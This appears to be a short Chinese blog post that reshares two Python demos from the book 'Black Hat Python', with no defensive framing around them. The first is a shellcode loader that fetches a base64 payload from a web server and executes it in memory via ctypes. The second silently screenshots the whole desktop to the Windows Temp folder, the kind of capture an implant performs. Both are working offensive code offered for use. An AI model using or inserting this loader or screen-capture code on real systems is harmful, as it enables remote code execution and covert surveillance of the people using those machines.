专栏首页鸿鹄实验室分享两个python的demo

分享两个python的demo

python加载shellcode

import base64
import ctypes
import urllib.request

# retrieve the shellcode from our web server
url = "http://localhost:8000/shellcode.bin"
response = urllib.request.urlopen(url)

# decode the shellcode from base64 
shellcode = base64.b64decode(response.read())

# create a buffer in memory
shellcode_buffer = ctypes.create_string_buffer(shellcode, len(shellcode))

# create a function pointer to our shellcode
shellcode_func = ctypes.cast(shellcode_buffer,
                             ctypes.CFUNCTYPE(ctypes.c_void_p))

# call our shellcode
shellcode_func()

python屏幕截图

import win32gui
import win32ui
import win32con
import win32api

# grab a handle to the main desktop window
hdesktop = win32gui.GetDesktopWindow()

# determine the size of all monitors in pixels
width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)
height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)
left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)
top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)

# create a device context
desktop_dc = win32gui.GetWindowDC(hdesktop)
img_dc = win32ui.CreateDCFromHandle(desktop_dc)

# create a memory based device context
mem_dc = img_dc.CreateCompatibleDC()

# create a bitmap object
screenshot = win32ui.CreateBitmap()
screenshot.CreateCompatibleBitmap(img_dc, width, height)
mem_dc.SelectObject(screenshot)

# copy the screen into our memory device context
mem_dc.BitBlt((0, 0), (width, height), img_dc, (left, top), win32con.SRCCOPY)

# save the bitmap to a file
screenshot.SaveBitmapFile(mem_dc, 'c:\\WINDOWS\\Temp\\screenshot.bmp')

# free our objects
mem_dc.DeleteDC()
win32gui.DeleteObject(screenshot.GetHandle())

代码均来自black hat python一书

本文分享自微信公众号 - 鸿鹄实验室(gh_a2210090ba3f),作者:鸿鹄实验室a

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2020-05-14

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 分享自用的两个网站

    用户2196567
  • 分享两个小程序

      小编也不知道大家能不能用的到,我只是把我学到的知识分享出来,有需要的可以看一下。python本身就是一个不断更新改进的语言,不存在抄袭,有需要就可以拿过来用...

    py3study
  • 学习React中ref的两个demo

    虚拟Dom虽然能够提升网页的性能, 但虚拟 DOM 是拿不到用户输入的。为了获取文本输入框的一些操作, 还是js原生的事件绑定机制最好用~

    zhaoolee
  • 分享两个 CVE 漏洞的分析报告

    因为 MS_T120 这个 channel 是内部 Channel,MS_T120 Channel 被绑定两次(内部绑定一次,然后我们又绑定一次——id 不是 ...

    信安之路
  • 分享两个线+标注的SLD样式

    lzugis
  • 分享两个有趣的爬虫代码

    在调试代码的过程中,我发现百度翻译的加密参数和谷歌翻译差不多,我以前也写过一篇有关谷歌翻译的文章,感兴趣的同学可以看看: Python 实现一个自动化翻译...

    月小水长
  • 分享两个sudo token的使用技巧

    我们在进行技术研究的过程中,发现有些时候sudo并不会要求我们输入密码,因为它“记得”我们。那么它为什么会“记得”我们呢?它怎么识别我们的身份呢?我们能伪造自己...

    FB客服
  • 分享两个开源的 GitHub 小程序

    作为一名 GitHub 资深用户,我每日都会花不少时间泡在 GitHub 社区上面,有时候甚至于连吃饭都会用手机刷两下,看看最近有什么值得关注的项目。

    GitHubDaily
  • 分享两个提高效率的AndroidStudio小技巧

    这次分享两个 Android Studio 的小技巧,能够有效提高效率和减少犯错,尤其是在团队协作开发中。

    请叫我大苏
  • R分享|安利两个“云”办公的网站!

    最近电脑电池坏了,拿到店里维修了,自己也没有备用机。要不是有 ddl,小编就会以此为借口放个小长假 ?。玩笑可以开,但是活还是要干的。

    庄闪闪
  • C# MEF插件的使用及Demo分享

    MEF,全称Managed Extensibility Framework(托管可扩展框架)。单从名字我们不难发现:MEF是专门致力于解决扩展性问题的框架,M...

    Vaccae
  • 分享13个Python GUI库

    Python是一门高级编程语言。它用于通用编程。Python语言由Guido van Rossum创建,并于1991年首次发布。Python的设计哲学着重于代码...

    py3study
  • 分享两个可供练手的Javaweb网站源码

    本科大二的时候记得有一回实验课,系主任给我们代的课。当时我特别认真的坐在第一排敲代码,老师可能是觉得我写代码的姿势特别的帅气,于是过来和我聊天,然后我凭借三寸不...

    谭庆波
  • 分享两个著名的 WordPress 本地缓存插件

    虽然明月已经放弃使用 WordPress 本地缓存插件很久了(可参考【我为什么放弃了缓存插件?】),但是考虑到很多新手站长们依然在使用着虚拟主机服务器,所以今天...

    明月登楼
  • 分享两个操作Java枚举的实用方法

    Java枚举在开发中是非常实用的。今天再来分析几个小技巧并且回答一些同学的的疑问。首先要说明的是我的枚举建立在以下的范式之中:

    码农小胖哥
  • 分享两个C库源码中的移位函数

    morixinguan
  • 分享两个在开发中需注意的小点

    下面推荐阅读的这几篇文章也是关于开发中需要知道的小技术点,更多技术细节和代码讨论,可以加入到我的星球。

    新亮
  • 分享两个用于告白的VB脚本程序

    第二个还是个有语音朗诵文字的,可以用编辑器改为自己的话来表白,可以发给告白的人当做无法拒绝的程序。

    兮动人
  • (Demo分享)利用JavaScript(JS)做一个可输入分钟的倒计时钟功能

    利用JavaScript(JS)实现一个可输入分钟的倒计时钟功能 本文章为 Tz张无忌 原创文章,转载请注明来源,谢谢合作!

    Tz一号

扫码关注云+社区

领取腾讯云代金券